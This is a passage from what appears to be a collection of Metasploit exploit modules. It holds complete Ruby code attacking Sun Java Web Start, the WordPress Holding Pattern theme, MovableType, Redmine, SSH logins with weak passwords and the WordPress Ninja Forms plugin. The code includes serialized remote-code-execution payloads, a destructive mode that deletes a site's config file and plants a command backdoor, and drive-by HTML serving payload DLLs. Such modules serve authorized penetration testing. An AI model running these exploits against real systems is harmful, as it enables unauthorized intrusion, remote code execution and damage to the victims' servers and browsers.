                  'Content-Type' => 'application/octet-stream'
                 )
  end

  def serve_exploit(cli)
    print_status "Sending payload EXE..."
    send_response(cli, generate_payload_exe,
                  'Content-Type' => 'application/x-msdos-program'
                 )
  end

end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  #
  # This module acts as an HTTP server
  #
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Sun Java Web Start Plugin Command Line Argument Injection',
      'Description'    => %q{
          This module exploits a flaw in the Web Start plugin component of Sun Java
        Web Start. The arguments passed to Java Web Start are not properly validated.
        By passing the lesser known -J option, an attacker can pass arbitrary options
        directly to the Java runtime. By utilizing the -XXaltjvm option, as discussed
        by Ruben Santamarta, an attacker can execute arbitrary code in the context of
        an unsuspecting browser user.
        This vulnerability was originally discovered independently by both Ruben
        Santamarta and Tavis Ormandy. Tavis reported that all versions since version
        6 Update 10 "are believed to be affected by this vulnerability."
        In order for this module to work, it must be ran as root on a server that
        does not serve SMB. Additionally, the target host must have the WebClient
        service (WebDAV Mini-Redirector) enabled.
      },
      'License'        => MSF_LICENSE,
      'Author'         => 'jduck',
      'References'     =>
        [
          [ 'CVE', '2010-0886' ],
          [ 'CVE', '2010-1423' ],
          [ 'OSVDB', '63648' ],
          [ 'BID', '39346' ],
          [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2010-04/0122.html' ],
          [ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1' ]
        ],
      'Platform'       => 'win',
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => '',
          'DisableNops' => true,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
        },
      'Targets'        =>
        [
          [ 'Automatic', { } ],
          [ 'Java Runtime on Windows x86',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Apr 09 2010'
      ))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
        OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
        OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ])
      ], self.class)
  end


  def auto_target(cli, request)
    agent = request.headers['User-Agent']

    ret = nil
    #print_status("Agent: #{agent}")
    # Check for MSIE and/or WebDAV redirector requests
    if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
      ret = targets[1]
    elsif agent =~ /MSIE (6|7|8)\.0/
      ret = targets[1]
    else
      print_status("Unknown User-Agent #{agent}")
    end

    ret
  end


  def on_request_uri(cli, request)

    # For this exploit, this does little besides ensures the user agent is a recognized one..
    mytarget = target
    if target.name == 'Automatic'
      mytarget = auto_target(cli, request)
      if (not mytarget)
        send_not_found(cli)
        return
      end
    end

    # Special case to process OPTIONS for /
    if (request.method == 'OPTIONS' and request.uri == '/')
      process_options(cli, request, mytarget)
      return
    end

    # Discard requests for ico files
    if (request.uri =~ /\.ico$/i)
      send_not_found(cli)
      return
    end

    # If there is no subdirectory in the request, we need to redirect.
    if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
      if (request.uri == '/')
        subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
      else
        subdir = request.uri + '/'
      end
      print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
      send_redirect(cli, subdir)
      return
    else
      share_name = $1
    end

    # dispatch WebDAV requests based on method first
    case request.method
    when 'OPTIONS'
      process_options(cli, request, mytarget)

    when 'PROPFIND'
      process_propfind(cli, request, mytarget)

    when 'GET'
      process_get(cli, request, mytarget, share_name)

    when 'PUT'
      print_status("Sending 404 for PUT #{request.uri} ...")
      send_not_found(cli)

    else
      print_error("Unexpected request method encountered: #{request.method}")

    end

  end

  #
  # GET requests
  #
  def process_get(cli, request, target, share_name)

    print_status("Responding to \"GET #{request.uri}\" request")
    # dispatch based on extension
    if (request.uri =~ /\.dll$/i)
      #
      # DLL requests sent by IE and the WebDav Mini-Redirector
      #
      print_status("Sending DLL")

      # Re-generate the payload
      return if ((p = regenerate_payload(cli)) == nil)

      # Generate a DLL based on the payload
      dll_data = generate_payload_dll({ :code => p.encoded })

      # Send it :)
      send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })

    else
      #
      # HTML requests sent by IE and Firefox
      #
      # This could probably use the Host header from the request
      my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']

      # Always prepare the UNC path, even if we dont use it for this request...
      if (datastore['UNCPATH'])
        unc = datastore['UNCPATH'].dup
      else
        unc = "\\\\" + my_host + "\\" + share_name
      end
      jnlp = "-J-XXaltjvm=" + unc + " -Xnosplash " + rand_text_alphanumeric(8+rand(8)) + ".jnlp"
      docbase = rand_text_alphanumeric(8+rand(8))

      # Provide the corresponding HTML page...
      if (request.uri =~ /\.shtml/i)
        print_status("Sending JS version HTML")
        # Javascript version...
        var_str = rand_text_alpha(8+rand(8))
        var_obj = rand_text_alpha(8+rand(8))
        var_obj2 = rand_text_alpha(8+rand(8))
        var_obj3 = rand_text_alpha(8+rand(8))
        js_jnlp = "http: "
        js_jnlp << jnlp.dup.gsub("\\", "\\\\\\\\") # jeez

        # The 8ad.. CLSID doesn't support the launch method ...
        #clsid = '8AD9C840-044E-11D1-B3E9-00805F499D93'
        clsid = 'CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA'
        html = %Q|<html>
<body>Please wait...
<script language="javascript">
var #{var_str} = "#{js_jnlp}";
if (window.navigator.appName == "Microsoft Internet Explorer") {
var #{var_obj} = document.createElement("OBJECT");
#{var_obj}.classid = "clsid:#{clsid}";
#{var_obj}.launch(#{var_str});
} else {
try {
var #{var_obj2} = document.createElement("OBJECT");
#{var_obj2}.type = "application/npruntime-scriptable-plugin;deploymenttoolkit";
document.body.appendChild(#{var_obj2});
#{var_obj2}.launch(#{var_str});
} catch (e) {
var #{var_obj3} = document.createElement("OBJECT");
#{var_obj3}.type = "application/java-deployment-toolkit";
document.body.appendChild(#{var_obj3});
#{var_obj3}.launch(#{var_str});
}
}
</script>
</body>
</html>
|
      elsif (request.uri =~ /\.htm/i)
        print_status("Sending non-JS version HTML")
        clsids = [ '8AD9C840-044E-11D1-B3E9-00805F499D93', 'CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA' ]
        clsid = clsids[rand(clsids.length)]
        html = %Q|<html>
<body>Please wait...
<object id="#{var_obj}" classid="clsid:#{clsid}"
width="0" height="0">
<PARAM name="launchjnlp" value="#{jnlp}">
<PARAM name="docbase" value="#{docbase}">
</object>
<embed type="application/x-java-applet"
width="0" height="0"
launchjnlp="#{jnlp}"
docbase="#{docbase}"
/>
</body>
</html>
|
      else
        print_status("Sending js detection HTML")

        # NOTE: The JS version is preferred to the HTML version since it works on more JRE versions
        js_uri = rand_text_alphanumeric(8+rand(8)) + ".shtml"
        no_js_uri = rand_text_alphanumeric(8+rand(8)) + ".htm"

        html = %Q|<html>
<head>
<meta http-equiv="refresh" content="2;#{no_js_uri}" />
</head>
<body>
Please wait...
<script language="javascript">
document.location = "#{js_uri}";
</script>
</body>
</html>
|
        # end of detection html
      end

      send_response_html(cli, html,
        {
          'Content-Type' => 'text/html',
          'Pragma' => 'no-cache'
        })
    end

  end

  #
  # OPTIONS requests sent by the WebDav Mini-Redirector
  #
  def process_options(cli, request, target)
    print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request")
    headers = {
      #'DASL'   => '<DAV:sql>',
      #'DAV'    => '1, 2',
      'Allow'  => 'OPTIONS, GET, PROPFIND',
      'Public' => 'OPTIONS, GET, PROPFIND'
    }
    send_response(cli, '', headers)
  end


  #
  # PROPFIND requests sent by the WebDav Mini-Redirector
  #
  def process_propfind(cli, request, target)
    path = request.uri
    print_status("Received WebDAV \"PROPFIND #{request.uri}\" request")
    body = ''

    if (path =~ /\.dll$/i)
      # Response for the DLL
      print_status("Sending DLL multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
      body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

    elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
      # Response for anything else (generally just /)
      print_status("Sending directory multistatus for #{path} ...")
      body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

    else
      print_status("Sending 404 for #{path} ...")
      send_not_found(cli)
      return

    end

    # send the response
    resp = create_response(207, "Multi-Status")
    resp.body = body
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
  end


  #
  # Make sure we're on the right port/path to support WebDAV
  #
  def exploit
    if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
      fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')
    end

    super
  end

end
            
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'socket'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'WordPress Holding Pattern Theme Arbitrary File Upload',
      'Description'     => %q{
          This module exploits a file upload vulnerability in all versions of the
          Holding Pattern theme found in the upload_file.php script which contains
          no session or file validation. It allows unauthenticated users to upload
          files of any type and subsequently execute PHP scripts in the context of
          the web server.
        },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Alexander Borg',                 # Vulnerability disclosure
          'Rob Carr <rob[at]rastating.com>' # Metasploit module
        ],
      'References'      =>
        [
          ['CVE', '2015-1172'],
          ['WPVDB', '7784'],
          ['PACKETSTORM', '130282']
        ],
      'DisclosureDate'  => 'Feb 11 2015',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['holding_pattern', {}]],
      'DefaultTarget'   => 0
    ))
  end

  def check
    check_theme_version_from_readme('holding_pattern')
  end

  def rhost
    datastore['RHOST']
  end

  def holding_pattern_uploads_url
    normalize_uri(wordpress_url_themes, 'holding_pattern', 'uploads/')
  end

  def holding_pattern_uploader_url
    normalize_uri(wordpress_url_themes, 'holding_pattern', 'admin', 'upload-file.php')
  end

  def generate_mime_message(payload, payload_name)
    data = Rex::MIME::Message.new
    target_ip = IPSocket.getaddress(rhost)
    field_name = Rex::Text.md5(target_ip)

    # In versions 1.2 and 1.3 of the theme, the upload directory must
    # be encoded in base64 and sent with the request. To maintain
    # compatibility with the hardcoded path of ../uploads in prior
    # versions, we will send the same path in the request.
    upload_path = Rex::Text.encode_base64('../uploads')

    data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{field_name}\"; filename=\"#{payload_name}\"")
    data.add_part(upload_path, nil, nil, 'form-data; name="upload_path"')
    data
  end

  def exploit
    print_status("Preparing payload...")
    payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php"
    data = generate_mime_message(payload, payload_name)

    print_status("Uploading payload...")
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => holding_pattern_uploader_url,
      'ctype'     => "multipart/form-data; boundary=#{data.bound}",
      'data'      => data.to_s
    )
    fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
    fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200
    payload_url = normalize_uri(holding_pattern_uploads_url, payload_name)

    print_status("Executing the payload at #{payload_url}")
    register_files_for_cleanup(payload_name)
    send_request_cgi({ 'uri' => payload_url, 'method'  => 'GET' }, 5)
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'SixApart MovableType Storable Perl Code Execution',
      'Description'    => %q{
          This module exploits a serialization flaw in MovableType before 5.2.12 to execute
          arbitrary code. The default nondestructive mode depends on the target server having
          the Object::MultiType and DateTime Perl modules installed in Perl's @INC paths.
          The destructive mode of operation uses only required MovableType dependencies,
          but it will noticeably corrupt the MovableType installation.
      },
      'Author'         =>
        [
          'John Lightsey',
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2015-1592' ],
          [ 'URL', 'https://movabletype.org/news/2015/02/movable_type_607_and_5212_released_to_close_security_vulnera.html' ],
        ],
      'Privileged'     => false, # web server context
      'Payload'        =>
        {
          'DisableNops' => true,
          'BadChars'    => ' ',
          'Space'       => 1024,
        },
      'Compat'         =>
        {
          'PayloadType' => 'cmd'
        },
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Targets'        => [['Automatic', {}]],
      'DisclosureDate' => 'Feb 11 2015',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'MoveableType cgi-bin directory path', '/cgi-bin/mt/']),
        OptBool.new('DESTRUCTIVE', [true, 'Use destructive attack method (more likely to succeed, but corrupts target system.)', false])
      ], self.class
    )

  end

=begin
#!/usr/bin/perl
# generate config parameters for injection checks
use Storable;
{
    package XXXCHECKXXX;
    sub STORABLE_thaw {
        return 1;
    }
    sub STORABLE_freeze {
        return 1;
    }
}
my $check_obj = bless { ignore => 'this' }, XXXCHECKXXX;
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze({ x => $check_obj});
$frozen = unpack 'H*', $frozen;
print "LFI test for storable flaw is: $frozen\n";
{
    package DateTime;
    use overload '+' => sub { 'ignored' };
}
=end

  def check
    vprint_status("Sending storable test injection for XXXCHECKXXX.pm load failure")
    res = send_request_cgi({
        'method'    => 'GET',
        'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
        'vars_get' => {
          '__mode' => 'retry',
          'step'   => 'configure',
          'config' => '53455247000000000000000304080831323334353637380408080803010000000413020b585858434845434b58585801310100000078'
        }
      })

    unless res && res.code == 200 && res.body.include?("Can't locate XXXCHECKXXX.pm")
      vprint_status("Failed XXXCHECKXXX.pm load test");
      return Exploit::CheckCode::Safe
    end
    Exploit::CheckCode::Vulnerable
  end

  def exploit
    if datastore['DESTRUCTIVE']
      exploit_destructive
    else
      exploit_nondestructive
    end
  end

=begin
#!/usr/bin/perl
# Generate nondestructive config parameter for RCE via Object::MultiType
# and Try::Tiny. The generated value requires minor modification to insert
# the payload inside the system() call and resize the padding.
use Storable;
{
    package Object::MultiType;
    use overload '+' => sub { 'ingored' };
}
{
    package Object::MultiType::Saver;
}
{
    package DateTime;
    use overload '+' => sub { 'ingored' };
}
{
    package Try::Tiny::ScopeGuard;
}
my $try_tiny_loader = bless {}, 'DateTime';
my $multitype_saver = bless { c => 'MT::run_app' }, 'Object::MultiType::Saver';
my $multitype_coderef = bless \$multitype_saver, 'Object::MultiType';
my $try_tiny_executor = bless [$multitype_coderef, 'MT;print qq{Content-type: text/plain\n\n};system(q{});' . ('#' x 1025) . "\nexit;"], 'Try::Tiny::ScopeGuard';
my $data = [$try_tiny_loader, $try_tiny_executor];
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
$frozen = unpack 'H*', $frozen;
print "RCE payload requiring Object::MultiType and DateTime: $frozen\n";
=end

  def exploit_nondestructive
    print_status("Using nondestructive attack method")
    config_payload = "53455247000000000000000304080831323334353637380408080802020000001411084461746554696d6503000000000411155472793a3a54696e793a3a53636f7065477561726402020000001411114f626a6563743a3a4d756c7469547970650411184f626a6563743a3a4d756c7469547970653a3a536176657203010000000a0b4d543a3a72756e5f6170700100000063013d0400004d543b7072696e742071717b436f6e74656e742d747970653a20746578742f706c61696e5c6e5c6e7d3b73797374656d28717b"
    config_payload <<  payload.encoded.unpack('H*')[0]
    config_payload << "7d293b"
    config_payload << "23" * (1025 - payload.encoded.length)
    config_payload << "0a657869743b"

    print_status("Sending payload (#{payload.raw.length} bytes)")

    send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
      'vars_get' => {
        '__mode' => 'retry',
        'step'   => 'configure',
        'config' => config_payload
      }
    }, 5)
  end

=begin
#!/usr/bin/perl
# Generate destructive config parameter to unlink mt-config.cgi
use Storable;
{
    package CGITempFile;
}
my $unlink_target = "mt-config.cgi";
my $cgitempfile = bless \$unlink_target, "CGITempFile";
my $data = [$cgitempfile];
my $frozen = 'SERG' . pack( 'N', 0 ) . pack( 'N', 3 ) . Storable::freeze($data);
$frozen = unpack 'H*', $frozen;
print "RCE unlink payload requiring CGI: $frozen\n";
=end

  def exploit_destructive
    print_status("Using destructive attack method")
    # First we need to delete mt-config.cgi using the storable injection

    print_status("Sending storable injection to unlink mt-config.cgi")

    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
      'vars_get' => {
        '__mode' => 'retry',
        'step'   => 'configure',
        'config' => '534552470000000000000003040808313233343536373804080808020100000004110b43474954656d7046696c650a0d6d742d636f6e6669672e636769'
      }
    })

    if res && res.code == 200
      print_status("Successfully sent unlink request")
    else
      fail_with(Failure::Unknown, "Error sending unlink request")
    end

    # Now we rewrite mt-config.cgi to accept a payload

    print_status("Rewriting mt-config.cgi to accept the payload")

    res = send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'mt-wizard.cgi'),
      'vars_get'  => {
        '__mode'             => 'next_step',
        'step'               => 'optional',
        'default_language'   => 'en_us',
        'email_address_main' => "x\nObjectDriver mysql;use CGI;print qq{Content-type: text/plain\\n\\n};if(my $c = CGI->new()->param('xyzzy')){system($c);};unlink('mt-config.cgi');exit;1",
        'set_static_uri_to'  => '/',
        'config'             => '5345524700000000000000024800000001000000127365745f7374617469635f66696c655f746f2d000000012f', # equivalent to 'set_static_file_to' => '/',
      }
    })

    if res && res.code == 200
      print_status("Successfully sent mt-config rewrite request")
    else
      fail_with(Failure::Unknown, "Error sending mt-config rewrite request")
    end

    # Finally send the payload

    print_status("Sending payload request")

    send_request_cgi({
      'method'    => 'GET',
      'uri'       => normalize_uri(target_uri.path, 'mt.cgi'),
      'vars_get'  => {
        'xyzzy'   => payload.encoded,
      }
    }, 5)
  end

end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'


class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Redmine SCM Repository Arbitrary Command Execution',
      'Description'    => %q{
          This module exploits an arbitrary command execution vulnerability in the
        Redmine repository controller. The flaw is triggered when a rev parameter
        is passed to the command line of the SCM tool without adequate filtering.
      },
      'Author'         => [ 'joernchen <joernchen[at]phenoelit.de>' ],  #Phenoelit
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2011-4929'],
          ['OSVDB', '70090'],
          ['URL', 'http://www.redmine.org/news/49' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
          'Space'       => 512,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              #'RequiredCmd' => 'generic telnet',
            }
        },
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => 'Dec 19 2010',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('URI', [true, "The full URI path to the project", "/projects/1/"]),
        ], self.class)
  end

  def exploit
    command = Rex::Text.uri_encode(payload.encoded)
    urlconfigdir = normalize_uri(datastore['URI'], "/repository/annotate") + "?rev=`#{command}`"

    res = send_request_raw({
      'uri'     => urlconfigdir,
      'method'  => 'GET',
      'headers' =>
      {
        'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',
        'Connection' => 'Close',
      }
    }, 25)

    if (res)
      print_status("The server returned: #{res.code} #{res.message}")
    else
      print_status("No response from the server")
    end
    handler
  end

end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'net/ssh'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::SSH

  attr_accessor :ssh_socket

  def initialize
    super(
      'Name'             => 'SSH User Code Execution',
      'Description'      => %q{
        This module connects to the target system and executes the necessary
        commands to run the specified payload via SSH. If a native payload is
        specified, an appropriate stager will be used.
      },
      'Author'           => ['Spencer McIntyre', 'Brandon Knight'],
      'References'       =>
        [
          [ 'CVE', '1999-0502'] # Weak password
        ],
      'License'          => MSF_LICENSE,
      'Privileged'       => true,
      'DefaultOptions'   =>
        {
          'PrependFork'  => 'true',
          'EXITFUNC'     => 'process'
        },
      'Payload'          =>
        {
          'Space'        => 4096,
          'BadChars'     => "",
          'DisableNops'  => true
        },
      'Platform'         => %w{ linux osx python },
      'Targets'          =>
        [
          [ 'Linux x86',
            {
              'Arch'     => ARCH_X86,
              'Platform' => 'linux'
            }
          ],
          [ 'Linux x64',
            {
              'Arch'     => ARCH_X64,
              'Platform' => 'linux'
            }
          ],
          [ 'OSX x86',
            {
              'Arch'     => ARCH_X86,
              'Platform' => 'osx'
            }
          ],
          [ 'Python',
            {
              'Arch'     => ARCH_PYTHON,
              'Platform' => 'python'
            }
          ]
        ],
      'CmdStagerFlavor'  => %w{ bourne echo printf },
      'DefaultTarget'    => 0,
      # For the CVE
      'DisclosureDate'   => 'Jan 01 1999'
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, "The user to authenticate as.", 'root' ]),
        OptString.new('PASSWORD', [ true, "The password to authenticate with.", '' ]),
        OptString.new('RHOST', [ true, "The target address" ]),
        Opt::RPORT(22)
      ], self.class
    )

    register_advanced_options(
      [
        OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false])
      ]
    )
  end

  def execute_command(cmd, opts = {})
    vprint_status("Executing #{cmd}")
    begin
      Timeout.timeout(3) do
        self.ssh_socket.exec!("#{cmd}\n")
      end
    rescue ::Exception
    end
  end

  def do_login(ip, user, pass, port)
    factory = ssh_socket_factory
    opt_hash = {
      :auth_methods  => ['password', 'keyboard-interactive'],
      :port          => port,
      :use_agent     => false,
      :config        => false,
      :password      => pass,
      :proxy         => factory,
      :non_interactive => true
    }

    opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']

    begin
      self.ssh_socket = Net::SSH.start(ip, user, opt_hash)
    rescue Rex::ConnectionError
      fail_with(Failure::Unreachable, 'Disconnected during negotiation')
    rescue Net::SSH::Disconnect, ::EOFError
      fail_with(Failure::Disconnected, 'Timed out during negotiation')
    rescue Net::SSH::AuthenticationFailed
      fail_with(Failure::NoAccess, 'Failed authentication')
    rescue Net::SSH::Exception => e
      fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
    end

    if not self.ssh_socket
      fail_with(Failure::Unknown, 'Failed to start SSH socket')
    end
    return
  end

  def exploit
    do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])

    print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending stager...")
    if target['Platform'] == 'python'
      execute_command("python -c \"#{payload.encoded}\"")
    else
      execute_cmdstager({:linemax => 500})
    end

    self.ssh_socket.close
  end
end
            
##
# This module requires Metasploit: http://www.metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FileDropper
  include Msf::Exploit::Remote::HTTP::Wordpress

  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'WordPress Ninja Forms Unauthenticated File Upload',
      'Description'     => %(
        Versions 2.9.36 to 2.9.42 of the Ninja Forms plugin contain
        an unauthenticated file upload vulnerability, allowing guests
        to upload arbitrary PHP code that can be executed in the context
        of the web server.
      ),
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'James Golovich',                 # Discovery and disclosure
          'Rob Carr <rob[at]rastating.com>' # Metasploit module
        ],
      'References'      =>
        [
          ['CVE', '2016-1209'],
          ['WPVDB', '8485'],
          ['URL', 'http://www.pritect.net/blog/ninja-forms-2-9-42-critical-security-vulnerabilities']
        ],
      'DisclosureDate'  => 'May 04 2016',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['ninja-forms', {}]],
      'DefaultTarget'   => 0
    ))

    opts = [OptString.new('FORM_PATH', [true, 'The relative path of the page that hosts any form served by Ninja Forms'])]
    register_options(opts, self.class)
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_good(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def check
    check_plugin_version_from_readme('ninja-forms', '2.9.43', '2.9.36')
  end

  def enable_v3_functionality
    print_status 'Enabling vulnerable V3 functionality...'
    res = send_request_cgi(
      'method'    => 'GET',
      'uri'       => target_uri.path,
      'vars_get'  => { 'nf-switcher' => 'upgrade' }
    )

    unless res && res.code == 200
      if res
        fail_with(Failure::Unreachable, "Failed to enable the vulnerable V3 functionality. Server returned: #{res.code}, should be 200.")
      else
        fail_with(Failure::Unreachable, 'Connection timed out.')
      end
    end

    vprint_good 'Enabled V3 functionality'
  end

  def disable_v3_functionality
    print_status 'Disabling vulnerable V3 functionality...'
    res = send_request_cgi(
      'method'    => 'GET',
      'uri'       => target_uri.path,
      'vars_get'  => { 'nf-switcher' => 'rollback' }
    )

    if res && res.code == 200
      vprint_good 'Disabled V3 functionality'
    elsif !res
      print_error('Connection timed out while disabling V3 functionality')
    else
      print_error 'Failed to disable the vulnerable V3 functionality'
    end
  end

  def generate_mime_message(payload_name, nonce)
    data = Rex::MIME::Message.new
    data.add_part('nf_async_upload', nil, nil, 'form-data; name="action"')
    data.add_part(nonce, nil, nil, 'form-data; name="security"')
    data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{Rex::Text.rand_text_alpha(10)}\"; filename=\"#{payload_name}\"")
    data
  end

  def fetch_ninja_form_nonce
    uri = normalize_uri(target_uri.path, datastore['FORM_PATH'])
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => uri
    )

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, "Unable to access FORM_PATH: #{datastore['FORM_PATH']}")
    end

    form_wpnonce = res.get_hidden_inputs.first
    form_wpnonce = form_wpnonce['_wpnonce'] if form_wpnonce

    nonce = res.body[/var nfFrontEnd = \{"ajaxNonce":"([a-zA-Z0-9]+)"/i, 1] || form_wpnonce

    unless nonce
      fail_with(Failure::Unknown, 'Cannot find wpnonce or ajaxNonce from FORM_PATH')
    end

    nonce
  end

  def upload_payload(data)
    res = send_request_cgi(
      'method'  => 'POST',
      'uri'     => wordpress_url_admin_ajax,
      'ctype'   => "multipart/form-data; boundary=#{data.bound}",
      'data'    => data.to_s
    )

    fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
    vprint_error("Server responded with status code #{res.code}") if res.code != 200
  end

  def execute_payload(payload_name, payload_url)
    register_files_for_cleanup("nftmp-#{payload_name.downcase}")
    res = send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5)

    if !res.nil? && res.code == 404
      print_error("Failed to upload the payload")
    else
      print_good("Executed payload")
    end
  end

  def exploit
    # Vulnerable code is only available in the version 3 preview mode, which can be
    # enabled by unauthenticated users due to lack of user level validation.
    enable_v3_functionality

    # Once the V3 preview mode is enabled, we can acquire a nonce by requesting any
    # page that contains a form generated by Ninja Forms.
    nonce = fetch_ninja_form_nonce

    print_status("Preparing payload...")
    payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
    payload_url = normalize_uri(wordpress_url_wp_content, 'uploads', "nftmp-#{payload_name.downcase}")
    data = generate_mime_message(payload_name, nonce)

    print_status("Uploading payload to #{payload_url}")
    upload_payload(data)

    print_status("Executing the payload...")
    execute_payload(payload_name, payload_url)

    # Once the payload has been executed, we can disable the preview functionality again.
    disable_v3_functionality
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
